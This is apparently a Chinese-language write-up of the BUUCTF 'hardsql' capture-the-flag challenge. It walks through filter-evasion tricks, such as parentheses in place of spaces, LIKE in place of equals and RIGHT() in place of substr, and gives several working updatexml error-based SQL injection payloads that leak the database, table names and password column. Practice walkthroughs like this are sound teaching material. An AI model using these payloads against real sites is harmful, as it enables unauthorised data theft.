buuctf-hardsql
看到题目就知道肯定有很多过滤,先写一个脚本测试一下
这里union被过滤掉了,显然不能再使用联合注入,考虑用updatexml报错注入试试,这里过滤了空格和*,那么用/**/代替空格也不行了,不过()没有被过滤,可以用括号来替代空格,先写一个payload试试
1'or(updatexml(1,concat('~',database()),1))#
可以看到数据库的名字已经爆出来了,注意这里过滤了等号,所以我们就要用like来代替等号,接着爆表名
1'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('%geek%'))),1))#
这样就得到了库和表名,接着爆破列名
这里得到三列,根据做这个作者其他的这类题可以知道他的flag是放在password里面的,直接开干
1'or(updatexml(1,concat('~',(select(group_concat('~',password))from(geek.H4rDsq1))),1))#
这里爆出的flag只有一半,我以为另外的flag放在了其他字段,找了半天没找到,后面发现是updatexml有长度限制,前面得到substr是被过滤了的,那么就用right函数来爆另一半flag
1'or(updatexml(1,concat('~',(select(right(password,25))from(geek.H4rDsq1))),1))#
组合一下flag就出来了